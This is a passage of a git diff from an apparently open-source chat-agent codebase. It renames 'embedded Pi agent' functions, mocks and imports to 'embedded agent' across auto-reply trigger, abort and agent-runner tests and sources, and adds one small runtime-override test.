getReplyFromConfigNow(params.getReplyFromConfig); const cfg = makeCfg(home); cfg.session = { ...cfg.session, store: join(home, "usage-cycle.sessions.json") }; @@ -148,7 +148,7 @@ export function registerTriggerHandlingUsageSummaryCases(params: { expect((pickFirstStoreEntry(finalStore) as { responseUsage?: string })?.responseUsage).toBe( "tokens", ); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); }); }); diff --git a/src/auto-reply/reply.triggers.trigger-handling.targets-active-session-native-stop.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.targets-active-session-native-stop.e2e.test.ts index 16288147503..509f2b7e0c5 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.targets-active-session-native-stop.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.targets-active-session-native-stop.e2e.test.ts @@ -3,13 +3,13 @@ import { join } from "node:path"; import { describe, expect, it, vi } from "vitest"; import { expectInlineCommandHandledAndStripped, - getAbortEmbeddedPiRunMock, - getCompactEmbeddedPiSessionMock, - getRunEmbeddedPiAgentMock, + getAbortEmbeddedAgentRunMock, + getCompactEmbeddedAgentSessionMock, + getRunEmbeddedAgentMock, installTriggerHandlingReplyHarness, MAIN_SESSION_KEY, makeCfg, - mockRunEmbeddedPiAgentOk, + mockRunEmbeddedAgentOk, requireSessionStorePath, expectBareNewOrResetAcknowledged, withTempHome, @@ -52,7 +52,7 @@ vi.mock("./reply/agent-runner.runtime.js", () => ({ }; }; }) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); const normalizeErrorText = (message: string) => { if (/context window exceeded/i.test(message)) { return "⚠️ Context overflow — prompt too large for this model. Try a shorter message or a larger-context model."; @@ -71,7 +71,7 @@ vi.mock("./reply/agent-runner.runtime.js", () => ({ }; try { - const result = await runEmbeddedPiAgentMock({ + const result = await runEmbeddedAgentMock({ prompt: params.commandBody, provider: params.followupRun.run.provider, model: params.followupRun.run.model, @@ -130,20 +130,20 @@ function formatDateStampForZone(nowMs: number, timeZone: string): string { } function mockEmbeddedOkPayload() { - return mockRunEmbeddedPiAgentOk("ok"); + return mockRunEmbeddedAgentOk("ok"); } -function mockRunEmbeddedPiAgentText(text: string, durationMs: number) { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockResolvedValue({ +function mockRunEmbeddedAgentText(text: string, durationMs: number) { + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text }], meta: { durationMs, agentMeta: { sessionId: "s", provider: "p", model: "m" }, }, }); - return runEmbeddedPiAgentMock; + return runEmbeddedAgentMock; } async function writeDailyMemoryNotes( @@ -235,11 +235,11 @@ async function expectNextRunUsesTargetSession( params: { cfg: ReturnType; targetSessionKey: string; - runEmbeddedPiAgentMock: ReturnType; + runEmbeddedAgentMock: ReturnType; }, expected: Record, ) { - mockRunEmbeddedPiAgentText("ok", 5); + mockRunEmbeddedAgentText("ok", 5); await getReplyFromConfig( makeTelegramSessionMessage("hi", params.targetSessionKey), @@ -247,8 +247,8 @@ async function expectNextRunUsesTargetSession( params.cfg, ); - expect(params.runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); - const runParams = firstMockCallArg(params.runEmbeddedPiAgentMock, "embedded PI agent"); + expect(params.runEmbeddedAgentMock).toHaveBeenCalledOnce(); + const runParams = firstMockCallArg(params.runEmbeddedAgentMock, "embedded OpenClaw agent"); for (const [key, value] of Object.entries(expected)) { expect(runParams[key]).toEqual(value); } @@ -270,7 +270,7 @@ async function writeStoredModelOverride(cfg: ReturnType): Promis } function mockSuccessfulCompaction() { - getCompactEmbeddedPiSessionMock().mockResolvedValue({ + getCompactEmbeddedAgentSessionMock().mockResolvedValue({ ok: true, compacted: true, result: { @@ -294,8 +294,8 @@ function makeUnauthorizedWhatsAppCfg(home: string) { async function expectResetBlockedForNonOwner(params: { home: string }): Promise { const { home } = params; - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockClear(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockClear(); const cfg = makeCfg(home); cfg.channels ??= {}; cfg.channels.whatsapp = { @@ -321,11 +321,11 @@ async function expectResetBlockedForNonOwner(params: { home: string }): Promise< cfg, ); expect(res).toBeUndefined(); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); } function mockEmbeddedOk() { - return mockRunEmbeddedPiAgentOk("ok"); + return mockRunEmbeddedAgentOk("ok"); } async function runInlineUnauthorizedCommand(params: { home: string; command: "/status" }) { @@ -364,29 +364,29 @@ describe("trigger handling", () => { ] as const) { it(`surfaces agent error: ${testCase.error}`, async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockImplementation(async () => { + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); + runEmbeddedAgentMock.mockImplementation(async () => { throw new Error(testCase.error); }); const errorRes = await getReplyFromConfig(BASE_MESSAGE, {}, makeCfg(home)); expect(maybeReplyText(errorRes), testCase.error).toBe(testCase.expected); - expect(runEmbeddedPiAgentMock, testCase.error).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock, testCase.error).toHaveBeenCalledOnce(); }); }); } it("strips heartbeat-only replies and preserves normal text", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); const tokenCases = [ { text: HEARTBEAT_TOKEN, expected: undefined }, { text: `${HEARTBEAT_TOKEN} hello`, expected: "hello" }, ] as const; for (const testCase of tokenCases) { - runEmbeddedPiAgentMock.mockReset(); - runEmbeddedPiAgentMock.mockResolvedValue({ + runEmbeddedAgentMock.mockReset(); + runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: testCase.text }], meta: { durationMs: 1, @@ -395,7 +395,7 @@ describe("trigger handling", () => { }); const res = await getReplyFromConfig(BASE_MESSAGE, {}, makeCfg(home)); expect(maybeReplyText(res)).toBe(testCase.expected); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock).toHaveBeenCalledOnce(); } }); }); @@ -411,14 +411,14 @@ describe("trigger handling", () => { { stamp: yesterdayStamp, text: "yesterday startup note" }, ]); - const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentText("hello", 1); + const runEmbeddedAgentMock = mockRunEmbeddedAgentText("hello", 1); const cfg = makeStartupContextCfg(home); const res = await runAuthorizedSmsCommand("/new", cfg); expect(maybeReplyText(res)).toBe("✅ New session started."); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); }); @@ -431,14 +431,14 @@ describe("trigger handling", () => { { stamp: todayStamp, text: "reset startup note" }, ]); - const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentText("hello", 1); + const runEmbeddedAgentMock = mockRunEmbeddedAgentText("hello", 1); const cfg = makeStartupContextCfg(home, { applyOn: ["reset"] }); const res = await runAuthorizedSmsCommand("/RESET", cfg); expect(maybeReplyText(res)).toBe("✅ Session reset."); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); }); @@ -474,16 +474,17 @@ describe("trigger handling", () => { ] as const; for (const testCase of thinkCases) { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); - mockRunEmbeddedPiAgentOk(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); + mockRunEmbeddedAgentOk(); const res = await getReplyFromConfig(testCase.request, testCase.options, makeCfg(home)); const text = maybeReplyText(res); expect(text, testCase.label).toBe("ok"); expect(text, testCase.label).not.toMatch(/Thinking level set/i); - expect(runEmbeddedPiAgentMock, testCase.label).toHaveBeenCalledOnce(); + expect(runEmbeddedAgentMock, testCase.label).toHaveBeenCalledOnce(); if (testCase.assertPrompt) { - const prompt = firstMockCallArg(runEmbeddedPiAgentMock, "embedded PI agent").prompt ?? ""; + const prompt = + firstMockCallArg(runEmbeddedAgentMock, "embedded OpenClaw agent").prompt ?? ""; expect(prompt).toContain("Give me the status"); expect(prompt).not.toContain("/thinking high"); expect(prompt).not.toContain("/think high"); @@ -516,8 +517,8 @@ describe("trigger handling", () => { ] as const; for (const testCase of modelCases) { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); mockEmbeddedOkPayload(); const cfg = makeCfg(home); cfg.session = { ...cfg.session, store: join(home, `${testCase.label}.sessions.json`) }; @@ -525,7 +526,7 @@ describe("trigger handling", () => { testCase.setup(cfg); await getReplyFromConfig(BASE_MESSAGE, { isHeartbeat: true }, cfg); - const call = firstMockCallArg(runEmbeddedPiAgentMock, "embedded PI agent"); + const call = firstMockCallArg(runEmbeddedAgentMock, "embedded OpenClaw agent"); expect(call?.provider).toBe(testCase.expected.provider); expect(call?.model).toBe(testCase.expected.model); } @@ -555,7 +556,7 @@ describe("trigger handling", () => { ); const text = maybeReplyText(res); expect(text?.startsWith("⚙️ Compacted")).toBe(true); - expect(getCompactEmbeddedPiSessionMock()).toHaveBeenCalledOnce(); + expect(getCompactEmbeddedAgentSessionMock()).toHaveBeenCalledOnce(); const store = loadSessionStore(storePath); const sessionKey = resolveSessionKey("per-sender", request); expect(store[sessionKey]?.compactionCount).toBe(1); @@ -564,7 +565,7 @@ describe("trigger handling", () => { it("compacts worker sessions via the agent session file", async () => { await withTempHome(async (home) => { - getCompactEmbeddedPiSessionMock().mockReset(); + getCompactEmbeddedAgentSessionMock().mockReset(); mockSuccessfulCompaction(); const cfg = makeCfg(home); cfg.session = { ...cfg.session, store: join(home, "compact-worker.sessions.json") }; @@ -582,9 +583,10 @@ describe("trigger handling", () => { const text = maybeReplyText(res); expect(text?.startsWith("⚙️ Compacted")).toBe(true); - expect(getCompactEmbeddedPiSessionMock()).toHaveBeenCalledOnce(); + expect(getCompactEmbeddedAgentSessionMock()).toHaveBeenCalledOnce(); expect( - firstMockCallArg(getCompactEmbeddedPiSessionMock(), "embedded PI compaction").sessionFile, + firstMockCallArg(getCompactEmbeddedAgentSessionMock(), "embedded OpenClaw compaction") + .sessionFile, ).toContain(join("agents", "worker1", "sessions")); }); }); @@ -593,7 +595,7 @@ describe("trigger handling", () => { await withTempHome(async (home) => { const cfg = makeCfg(home); cfg.session = { ...cfg.session, store: join(home, "native-stop.sessions.json") }; - getAbortEmbeddedPiRunMock().mockReset().mockReturnValue(false); + getAbortEmbeddedAgentRunMock().mockReset().mockReturnValue(false); const storePath = cfg.session?.store; if (!storePath) { throw new Error("missing session store path"); @@ -655,7 +657,7 @@ describe("trigger handling", () => { const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe("⚙️ Agent was aborted."); - expect(getAbortEmbeddedPiRunMock()).toHaveBeenCalledWith(targetSessionId); + expect(getAbortEmbeddedAgentRunMock()).toHaveBeenCalledWith(targetSessionId); const store = loadSessionStore(storePath); expect(store[targetSessionKey]?.abortedLastRun).toBe(true); expect(getFollowupQueueDepth(targetSessionKey)).toBe(0); @@ -666,8 +668,8 @@ describe("trigger handling", () => { await withTempHome(async (home) => { const cfg = makeCfg(home); cfg.session = { ...cfg.session, store: join(home, "native-model.sessions.json") }; - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); const storePath = requireSessionStorePath(cfg); const slashSessionKey = "telegram:slash:111"; const targetSessionKey = MAIN_SESSION_KEY; @@ -692,7 +694,7 @@ describe("trigger handling", () => { expect(store[slashSessionKey]).toBeUndefined(); await expectNextRunUsesTargetSession( - { cfg, targetSessionKey, runEmbeddedPiAgentMock }, + { cfg, targetSessionKey, runEmbeddedAgentMock }, { provider: "openai", model: "gpt-4.1-mini", @@ -715,8 +717,8 @@ describe("trigger handling", () => { }, }; cfg.session = { ...cfg.session, store: join(home, "native-model-thread.sessions.json") }; - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); const storePath = requireSessionStorePath(cfg); const slashSessionKey = "agent:main:telegram:slash:7595562691"; const targetSessionKey = "agent:main:main:thread:7595562691:12812"; @@ -751,7 +753,7 @@ describe("trigger handling", () => { expect(store[slashSessionKey]).toBeUndefined(); await expectNextRunUsesTargetSession( - { cfg, targetSessionKey, runEmbeddedPiAgentMock }, + { cfg, targetSessionKey, runEmbeddedAgentMock }, { provider: "deepseek", model: "deepseek-v4-pro", @@ -764,8 +766,8 @@ describe("trigger handling", () => { await withTempHome(async (home) => { const cfg = makeCfg(home); cfg.session = { ...cfg.session, store: join(home, "native-model-auth.sessions.json") }; - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockReset(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); + runEmbeddedAgentMock.mockReset(); const storePath = requireSessionStorePath(cfg); const authDir = join(home, ".openclaw", "agents", "main", "agent"); await fs.mkdir(authDir, { recursive: true }); @@ -828,7 +830,7 @@ describe("trigger handling", () => { expect(store[slashSessionKey]).toBeUndefined(); await expectNextRunUsesTargetSession( - { cfg, targetSessionKey, runEmbeddedPiAgentMock }, + { cfg, targetSessionKey, runEmbeddedAgentMock }, { provider: "openai-codex", model: "gpt-5.4", @@ -851,15 +853,15 @@ describe("trigger handling", () => { blockReplyContains: "Identity", requestOverrides: { SenderId: "12345" }, }); - const inlineRunEmbeddedPiAgentMock = mockEmbeddedOk(); + const inlineRunEmbeddedAgentMock = mockEmbeddedOk(); const res = await runInlineUnauthorizedCommand({ home, command: "/status", }); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toBe("ok"); - expect(inlineRunEmbeddedPiAgentMock).toHaveBeenCalled(); - const prompt = inlineRunEmbeddedPiAgentMock.mock.calls.at(-1)?.[0]?.prompt ?? ""; + expect(inlineRunEmbeddedAgentMock).toHaveBeenCalled(); + const prompt = inlineRunEmbeddedAgentMock.mock.calls.at(-1)?.[0]?.prompt ?? ""; expect(prompt).toContain("/status"); }); }); diff --git a/src/auto-reply/reply/abort.test.ts b/src/auto-reply/reply/abort.test.ts index f34b00cde73..2c50b9ce85a 100644 --- a/src/auto-reply/reply/abort.test.ts +++ b/src/auto-reply/reply/abort.test.ts @@ -28,8 +28,8 @@ import { } from "./reply-run-registry.js"; import { buildTestCtx } from "./test-ctx.js"; -vi.mock("../../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(true), +vi.mock("../../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(true), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, })); @@ -71,7 +71,7 @@ const acpManagerMocks = vi.hoisted(() => ({ })); const runtimeAbortMocks = vi.hoisted(() => ({ - abortEmbeddedPiRun: vi.fn(() => true), + abortEmbeddedAgentRun: vi.fn(() => true), resolveActiveEmbeddedRunSessionId: vi.fn(() => undefined as string | undefined), })); @@ -193,7 +193,7 @@ describe("abort detection", () => { resolveSession: acpManagerMocks.resolveSession, cancelSession: acpManagerMocks.cancelSession, }) as never) as never, - abortEmbeddedPiRun: runtimeAbortMocks.abortEmbeddedPiRun, + abortEmbeddedAgentRun: runtimeAbortMocks.abortEmbeddedAgentRun, resolveActiveEmbeddedRunSessionId: runtimeAbortMocks.resolveActiveEmbeddedRunSessionId, getLatestSubagentRunByChildSessionKey: subagentRegistryMocks.getLatestSubagentRunByChildSessionKey, @@ -216,7 +216,7 @@ describe("abort detection", () => { commandQueueMocks.clearCommandLane.mockClear().mockReturnValue(1); acpManagerMocks.resolveSession.mockReset().mockReturnValue({ kind: "none" }); acpManagerMocks.cancelSession.mockReset().mockResolvedValue(undefined); - runtimeAbortMocks.abortEmbeddedPiRun.mockReset().mockReturnValue(true); + runtimeAbortMocks.abortEmbeddedAgentRun.mockReset().mockReturnValue(true); runtimeAbortMocks.resolveActiveEmbeddedRunSessionId.mockReset().mockReturnValue(undefined); subagentRegistryMocks.getLatestSubagentRunByChildSessionKey.mockReset().mockReturnValue(null); }); @@ -398,12 +398,12 @@ describe("abort detection", () => { const storeKey = "agent:main:telegram:group:-1001234567890:topic:99"; const lookupKey = "Agent:Main:Telegram:Group:-1001234567890:Topic:99"; const store = { - [storeKey]: { sessionId: "pi-topic-99", updatedAt: 0 }, + [storeKey]: { sessionId: "agent-topic-99", updatedAt: 0 }, } as Record; // Direct lookup fails (store uses lowercase keys); normalization fallback must succeed. expect(store[lookupKey]).toBeUndefined(); const result = resolveSessionEntryForKey(store, lookupKey); - expect(result.entry?.sessionId).toBe("pi-topic-99"); + expect(result.entry?.sessionId).toBe("agent-topic-99"); expect(result.key).toBe(storeKey); }); @@ -446,7 +446,7 @@ describe("abort detection", () => { expect(result.handled).toBe(true); expect(runtimeAbortMocks.resolveActiveEmbeddedRunSessionId).toHaveBeenCalledWith(sessionKey); - expect(runtimeAbortMocks.abortEmbeddedPiRun).toHaveBeenCalledWith(activeSessionId); + expect(runtimeAbortMocks.abortEmbeddedAgentRun).toHaveBeenCalledWith(activeSessionId); expect(getFollowupQueueDepth(sessionKey)).toBe(0); expectSessionLaneCleared(sessionKey); }); @@ -641,7 +641,7 @@ describe("abort detection", () => { }); expect(result.handled).toBe(true); - expect(runtimeAbortMocks.abortEmbeddedPiRun).toHaveBeenCalledWith("source-store-session"); + expect(runtimeAbortMocks.abortEmbeddedAgentRun).toHaveBeenCalledWith("source-store-session"); expect(getFollowupQueueDepth(sourceSessionKey)).toBe(0); expect(getFollowupQueueDepth(acpSessionKey)).toBe(0); expectSessionLaneCleared(sourceSessionKey); diff --git a/src/auto-reply/reply/abort.ts b/src/auto-reply/reply/abort.ts index 493eca8db47..38814477a6e 100644 --- a/src/auto-reply/reply/abort.ts +++ b/src/auto-reply/reply/abort.ts @@ -1,9 +1,9 @@ import { getAcpSessionManager } from "../../acp/control-plane/manager.js"; import { resolveSessionAgentId } from "../../agents/agent-scope.js"; import { - abortEmbeddedPiRun, + abortEmbeddedAgentRun, resolveActiveEmbeddedRunSessionId, -} from "../../agents/pi-embedded-runner/runs.js"; +} from "../../agents/embedded-agent-runner/runs.js"; import { getLatestSubagentRunByChildSessionKey, listSubagentRunsForController, @@ -62,7 +62,7 @@ export { const defaultAbortDeps = { getAcpSessionManager, - abortEmbeddedPiRun, + abortEmbeddedAgentRun, resolveActiveEmbeddedRunSessionId, getLatestSubagentRunByChildSessionKey, listSubagentRunsForController, @@ -77,7 +77,8 @@ export const testing = { setDepsForTests(deps: Partial | undefined): void { abortDeps.getAcpSessionManager = deps?.getAcpSessionManager ?? defaultAbortDeps.getAcpSessionManager; - abortDeps.abortEmbeddedPiRun = deps?.abortEmbeddedPiRun ?? defaultAbortDeps.abortEmbeddedPiRun; + abortDeps.abortEmbeddedAgentRun = + deps?.abortEmbeddedAgentRun ?? defaultAbortDeps.abortEmbeddedAgentRun; abortDeps.resolveActiveEmbeddedRunSessionId = deps?.resolveActiveEmbeddedRunSessionId ?? defaultAbortDeps.resolveActiveEmbeddedRunSessionId; abortDeps.getLatestSubagentRunByChildSessionKey = @@ -90,7 +91,7 @@ export const testing = { }, resetDepsForTests(): void { abortDeps.getAcpSessionManager = defaultAbortDeps.getAcpSessionManager; - abortDeps.abortEmbeddedPiRun = defaultAbortDeps.abortEmbeddedPiRun; + abortDeps.abortEmbeddedAgentRun = defaultAbortDeps.abortEmbeddedAgentRun; abortDeps.resolveActiveEmbeddedRunSessionId = defaultAbortDeps.resolveActiveEmbeddedRunSessionId; abortDeps.getLatestSubagentRunByChildSessionKey = @@ -116,7 +117,7 @@ export function abortSessionRunTarget(params: { key?: string; sessionId?: string let aborted = key ? replyRunRegistry.abort(key) : false; for (const sessionId of sessionIds) { - aborted = abortDeps.abortEmbeddedPiRun(sessionId) || aborted; + aborted = abortDeps.abortEmbeddedAgentRun(sessionId) || aborted; } return aborted; } diff --git a/src/auto-reply/reply/acp-projector.ts b/src/auto-reply/reply/acp-projector.ts index 87f6f6fb3b2..8de6488e78d 100644 --- a/src/auto-reply/reply/acp-projector.ts +++ b/src/auto-reply/reply/acp-projector.ts @@ -1,5 +1,5 @@ import type { AcpRuntimeEvent, AcpSessionUpdateTag } from "../../acp/runtime/types.js"; -import { EmbeddedBlockChunker } from "../../agents/pi-embedded-block-chunker.js"; +import { EmbeddedBlockChunker } from "../../agents/embedded-agent-block-chunker.js"; import { formatToolSummary, resolveToolDisplay } from "../../agents/tool-display.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { prefixSystemMessage } from "../../infra/system-message.js"; diff --git a/src/auto-reply/reply/agent-runner-cli-dispatch.ts b/src/auto-reply/reply/agent-runner-cli-dispatch.ts index eb13041d513..31a244eea85 100644 --- a/src/auto-reply/reply/agent-runner-cli-dispatch.ts +++ b/src/auto-reply/reply/agent-runner-cli-dispatch.ts @@ -1,6 +1,6 @@ import { runCliAgent } from "../../agents/cli-runner.js"; import type { RunCliAgentParams } from "../../agents/cli-runner/types.js"; -import type { EmbeddedPiRunResult } from "../../agents/pi-embedded.js"; +import type { EmbeddedAgentRunResult } from "../../agents/embedded-agent.js"; import { emitAgentEvent, onAgentEvent } from "../../infra/agent-events.js"; import { normalizeLowercaseStringOrEmpty, @@ -66,8 +66,8 @@ export async function runCliAgentWithLifecycle(params: { onAssistantText?: (text: string) => Promise; onReasoningText?: (text: string) => Promise; onErrorBeforeLifecycle?: (err: unknown) => Promise; - transformResult?: (result: EmbeddedPiRunResult) => EmbeddedPiRunResult; -}): Promise { + transformResult?: (result: EmbeddedAgentRunResult) => EmbeddedAgentRunResult; +}): Promise { const startedAt = params.startedAt ?? Date.now(); const emitLifecycleStart = params.emitLifecycleStart ?? true; const emitLifecycleTerminal = params.emitLifecycleTerminal ?? true; diff --git a/src/auto-reply/reply/agent-runner-execution.test.ts b/src/auto-reply/reply/agent-runner-execution.test.ts index 91db9072bf6..9b5b54a8268 100644 --- a/src/auto-reply/reply/agent-runner-execution.test.ts +++ b/src/auto-reply/reply/agent-runner-execution.test.ts @@ -15,6 +15,7 @@ import { buildContextOverflowRecoveryText, computeContextAwareReserveTokensFloor, MAX_LIVE_SWITCH_RETRIES, + resolveSessionRuntimeOverrideForProvider, resolveRunAfterAutoFallbackPrimaryProbeRecheck, } from "./agent-runner-execution.js"; import { HEARTBEAT_EXTERNAL_RUN_FAILURE_TEXT } from "./agent-runner-failure-copy.js"; @@ -24,7 +25,7 @@ import type { ReplyOperation } from "./reply-run-registry.js"; import type { TypingSignaler } from "./typing-mode.js"; const state = vi.hoisted(() => ({ - runEmbeddedPiAgentMock: vi.fn(), + runEmbeddedAgentMock: vi.fn(), runCliAgentMock: vi.fn(), runWithModelFallbackMock: vi.fn(), isCliProviderMock: vi.fn((_: unknown) => false), @@ -39,6 +40,17 @@ const state = vi.hoisted(() => ({ const GENERIC_RUN_FAILURE_TEXT = "⚠️ Something went wrong while processing your request. Please try again, or use /new to start a fresh session."; +describe("resolveSessionRuntimeOverrideForProvider", () => { + it("ignores unsupported session runtime pins", () => { + expect( + resolveSessionRuntimeOverrideForProvider({ + provider: "openai", + entry: { agentRuntimeOverride: "unsupported-runtime" }, + }), + ).toBeUndefined(); + }); +}); + function makeTestModel(id: string, contextTokens: number): ModelDefinitionConfig { return { id, @@ -52,8 +64,8 @@ function makeTestModel(id: string, contextTokens: number): ModelDefinitionConfig }; } -vi.mock("../../agents/pi-embedded.js", () => ({ - runEmbeddedPiAgent: (params: unknown) => state.runEmbeddedPiAgentMock(params), +vi.mock("../../agents/embedded-agent.js", () => ({ + runEmbeddedAgent: (params: unknown) => state.runEmbeddedAgentMock(params), })); vi.mock("../../agents/cli-runner.js", () => ({ @@ -82,7 +94,7 @@ vi.mock("../../agents/bootstrap-budget.js", () => ({ resolveBootstrapWarningSignaturesSeen: () => [], })); -vi.mock("../../agents/pi-embedded-helpers.js", () => ({ +vi.mock("../../agents/embedded-agent-helpers.js", () => ({ BILLING_ERROR_USER_MESSAGE: "billing", formatRateLimitOrOverloadedErrorCopy: (message: string) => { if (/model\s+(?:is\s+)?at capacity/i.test(message)) { @@ -1089,7 +1101,7 @@ describe("buildContextOverflowRecoveryText", () => { describe("runAgentTurnWithFallback", () => { beforeEach(() => { - state.runEmbeddedPiAgentMock.mockReset(); + state.runEmbeddedAgentMock.mockReset(); state.runCliAgentMock.mockReset(); state.runWithModelFallbackMock.mockReset(); state.isCliProviderMock.mockReset(); @@ -1119,7 +1131,7 @@ describe("runAgentTurnWithFallback", () => { it("passes the reply abort signal to fallback orchestration and candidates", async () => { const { replyOperation } = createMockReplyOperation(); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -1135,8 +1147,8 @@ describe("runAgentTurnWithFallback", () => { "runWithModelFallback params", ); const embeddedCall = requireRecord( - state.runEmbeddedPiAgentMock.mock.calls[0]?.[0], - "runEmbeddedPiAgent params", + state.runEmbeddedAgentMock.mock.calls[0]?.[0], + "runEmbeddedAgent params", ); expect(fallbackCall.abortSignal).toBe(replyOperation.abortSignal); expect(embeddedCall.abortSignal).toBe(replyOperation.abortSignal); @@ -1262,7 +1274,7 @@ describe("runAgentTurnWithFallback", () => { model: params.model, attempts: [], })); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "user model" }], meta: { agentMeta: { @@ -1360,7 +1372,7 @@ describe("runAgentTurnWithFallback", () => { model: "gemini-3-pro", attempts: [{ provider: "anthropic", model: "claude-sonnet-4-6", error: "rate limit" }], })); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "fallback" }], meta: {}, }); @@ -1368,7 +1380,7 @@ describe("runAgentTurnWithFallback", () => { const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); await runAgentTurnWithFallback(createMinimalRunAgentTurnParams({ followupRun })); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "embedded run", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "embedded run", { provider: "google", model: "gemini-3-pro", authProfileId: "google:fallback", @@ -1413,7 +1425,7 @@ describe("runAgentTurnWithFallback", () => { { provider: "openai", model: "gpt-5.4", error: "rate limit" }, ], })); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "fallback" }], meta: {}, }); @@ -1426,7 +1438,7 @@ describe("runAgentTurnWithFallback", () => { getActiveSessionEntry: () => activeSessionStore[sessionKey], }); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "embedded run", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "embedded run", { provider: "openai", model: "gpt-5.5", authProfileId: "openai:fallback", @@ -1481,7 +1493,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [{ provider: "anthropic", model: "claude-sonnet-4-6", error: "rate limit" }], }; }); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "fallback" }], meta: {}, }); @@ -1543,7 +1555,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [{ provider: "openai", model: "gpt-5.5", error: "rate limit" }], }; }); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "fallback" }], meta: {}, }); @@ -1591,20 +1603,20 @@ describe("runAgentTurnWithFallback", () => { attempts: [{ provider: "openai", model: "gpt-5.5", error: "rate limit" }], }; }); - state.runEmbeddedPiAgentMock + state.runEmbeddedAgentMock .mockResolvedValueOnce({ payloads: [], meta: {} }) .mockResolvedValueOnce({ payloads: [{ text: "fallback" }], meta: {} }); const runAgentTurnWithFallback = await getRunAgentTurnWithFallback(); await runAgentTurnWithFallback(createMinimalRunAgentTurnParams({ followupRun })); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 0, "primary run", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 0, "primary run", { provider: "openai", model: "gpt-5.5", authProfileId: "openai:primary", authProfileIdSource: "auto", }); - expectMockCallArgFields(state.runEmbeddedPiAgentMock, 1, "fallback run", { + expectMockCallArgFields(state.runEmbeddedAgentMock, 1, "fallback run", { provider: "openai", model: "gpt-5.4", authProfileId: "openai:fallback", @@ -1651,7 +1663,7 @@ describe("runAgentTurnWithFallback", () => { attempts: [], }; }); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "primary recovered" }], meta: { agentMeta: { @@ -1713,7 +1725,7 @@ 